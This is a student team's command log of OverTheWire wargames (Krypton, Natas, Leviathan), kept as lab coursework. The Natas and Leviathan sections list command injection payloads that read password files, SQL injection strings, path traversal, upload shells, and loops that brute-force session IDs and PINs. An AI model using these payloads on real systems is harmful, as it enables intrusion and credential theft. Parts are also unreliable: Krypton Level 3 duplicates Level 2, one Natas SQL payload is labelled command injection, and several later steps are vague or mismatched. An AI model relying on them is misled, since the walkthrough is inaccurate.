Team Members :
1)Sneha Tambe – Krypton Wargame
2)Purva Bhoir– Natas Wargame
3)Omkar Bhoi– Leviathan Wargame

KRYPTON Wargame - Commands Used per Level :-

Level 0:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- echo "S1JZUFRPTklTR1JFQVQ=" | base64 -d
- ssh -p 2231 krypton1@krypton.labs.overthewire.org

Level 1:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- cd /krypton/krypton1
- ls
- cat README
- echo "YRIRY GJB CNFFJBEQ EBGGRA" | tr "[ABCDEFGHIJKLMNOPQRSTUVWXYZ]" "[NOPQRSTUVWXYZABCDEFGHIJKLM]"
- ssh -p 2231 krypton2@krypton.labs.overthewire.org

Level 2:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- cd /krypton/krypton2
- cat krypton3
- cat README
- mktemp -d
- cd /tmp/<directory_name> • ln -s /krypton/krypton2/keyfile.dat • chmod 777 .
- /krypton/krypton2/encrypt /etc/issue
- ls
- cat ciphertext
- touch ptext
- nano ptext
- /krypton/krypton2/encrypt ptext
- cat /krypton/krypton2/krypton3 | tr "[MNOPQRSTUVWXYZABCDEFGHIJKL]" "[A-Z]"

Level 3:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- cd /krypton/krypton2
- cat krypton3
- cat README
- mktemp -d
- cd /tmp/<directory_name> • ln -s /krypton/krypton2/keyfile.dat • chmod 777 .
- /krypton/krypton2/encrypt /etc/issue
- ls
- cat ciphertext
- touch ptext
- nano ptext
- /krypton/krypton2/encrypt ptext
- cat /krypton/krypton2/krypton3
- cat /krypton/krypton2/krypton3 | tr "MNOPQRSTUVWXYZABCDEFGHIJKL" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

Level 4:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- ssh -p 2231 krypton4@krypton.labs.overthewire.org • cat found1

# (Copy found1 contents to online Vigenère cipher cracker: https://www.dcode.fr/vigenerecipher)
# (No local command for decryption here, it's done online)

- cat krypton5

# (Decrypt krypton5 file content using the obtained key in online tool)

Level 5:
Tools used: WSL (Windows Subsystem for Linux)
Commands:

- ssh -p 2231 krypton5@krypton.labs.overthewire.org
- cat krypton5

# (Use online Vigenère cipher breaker to find key length and decrypt)

Level 6:
Tools used: WSL (Windows Subsystem for Linux)

Commands:

- ssh -p 2231 krypton6@krypton.labs.overthewire.org
- ls

# (Custom Python script used to crack repeating stream cipher pattern)

NATAS Wargame - Commands Used per Level :-

Natas0
- Open page in browser
- Right-click → View Page Source

Natas1
- Open page in browser
- Right-click → View Page Source

Natas2
- Open page in browser
- Right-click → View Page Source
- Click on /files/

Natas3
- Open page in browser
- Right-click → View Page Source
- Find link to hidden directory /s3cr3t/

Natas4
- Open page in browser
- Edit URL manually to include ?language=en

Natas5
- Open page in browser
- Inspect Element (F12)
- Go to Application tab → Cookies
- Edit cookie loggedin value to 1

Natas6
- Open page in browser
- Right-click → View Page Source
- Find encoded password
- Use: echo "SOMESTRING" | base64 --decode

Natas7
- Open page in browser
- Edit URL manually → Add ?page=home
- Try ?page=../../etc/natas_webpass/natas8

Natas8
- Open page in browser
- Right-click → View Page Source
- Copy secret algorithm code
- Use Python or online tools to reverse the encoding

Natas9

- Open page in browser
- Inject search parameter: needle=anytext; cat /etc/natas_webpass/natas10

Natas10

- Open page in browser
- Inject command with piping: needle=anytext | cat /etc/natas_webpass/natas11

Natas11

- Open page in browser
- Inspect cookies
- Download cookie
- Decrypt using: openssl enc -d -aes-128-ecb -in cookiefile -K key

Natas12

- Upload a PHP file disguised as an image (.jpg.php)
- Use Burp Suite or intercept upload

Natas13

- Upload pure PHP file and access it directly

Natas14

- Use SQL Injection:
  - Username: natas15" OR "1"="1
  - Any password

Natas15

- Use SQL Injection with blind guessing
- Use Burp Suite Intruder or a script

Natas16

- Command Injection:
  - anytext | cat /etc/natas_webpass/natas17

Natas17

- Command Injection using time delay:
  - anytext" AND IF(password LIKE "a%", SLEEP(5), 0) --

Natas18

- Brute force session IDs:
  - for i in {1..640}; do curl -b "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org/; done

Natas19

- Similar to Natas18
- Session ID is now encoded (hexadecimal)

Natas20

- Edit POST requests to manually set debug=1
- Upload text session manipulation

Natas21

- Use two different URLs (GET and POST)
- Change admin=1 in request

Natas22

- Page redirects immediately
- Use curl -i to see headers:
    - curl -i -u natas22:password http://natas22.natas.labs.overthewire.org/

Natas23

- View Page Source
- Submit secret string into the form

Natas24

- Command Injection via POST:
    - test$(cat /etc/natas_webpass/natas25)

Natas25

- Directory Traversal via file parameter:
    - ?lang=....//....//....//etc/natas_webpass/natas26
- Use file upload trick

Natas26

- Cookie forgery:
    - Modify drawing cookie
    - Base64 decode, edit, and re-encode

Natas27

- SQL Injection with case-sensitive database:
    - ' UNION SELECT password FROM users WHERE username LIKE BINARY 'natas28' --

Natas28

- SQL Injection using double query techniques

Natas29

- Exploit serialized object in cookie
- Use PHP script to serialize:
    - php -r '$obj = new Object(); echo serialize($obj);'

Natas30

- Modify two parameters in POST to be the same:
    - passwd[]=123&passwd[]=123

Natas31

- Send crafted multipart/form-data request
- Use Burp Suite Repeater

Natas32

- Upload malicious .php file
- Exploit cron job running uploads

Natas33

- SQL Injection to bypass login:
    - ' OR 1=1 --

Natas34

- JWT manipulation
- Decode JWT:
    - Use jwt.io or echo -n 'token' | base64 --decode
- Forge admin token to access

LEVIATHAN Wargame - Commands Used per Level :-

Level 0 ➔Level 1
Login:
ssh leviathan0@leviathan.labs.overthewire.org -p 2223 find / -user leviathan0 -perm -4000 2>/dev/null
Run /bin/... (usually "leviathan0" binary)

Level 1 ➔Level 2
Login:
ssh leviathan1@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:
find / -user leviathan1 -perm -4000 2>/dev/null Execute /usr/bin/leviathan1:
./leviathan1

Level 2 ➔Level 3
Login:
ssh leviathan2@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:
find / -user leviathan2 -perm -4000 2>/dev/null Run: ./leviathan

Level 3 ➔Level 4
Login:
ssh leviathan3@leviathan.labs.overthewire.org -p 2223 Check SUID binaries:
find / -user leviathan3 -perm -4000 2>/dev/null Run: ./leviathan3

Level 4 ➔Level 5
Login:
ssh leviathan4@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:
find / -user leviathan4 -perm -4000 2>/dev/null
./leviathan4
# Brute-force small 4-digit numbers:
for pin in {0000..9999}; do echo $pin | ./leviathan4; done

Level 5 ➔Level 6
Login:
ssh leviathan5@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:
find / -user leviathan5 -perm -4000 2>/dev/null
./leviathan5
Exploit the program by providing filename:
./leviathan5 /etc/leviathan_pass/leviathan6

Level 6 ➔Level 7
Login:
ssh leviathan6@leviathan.labs.overthewire.org -p 2223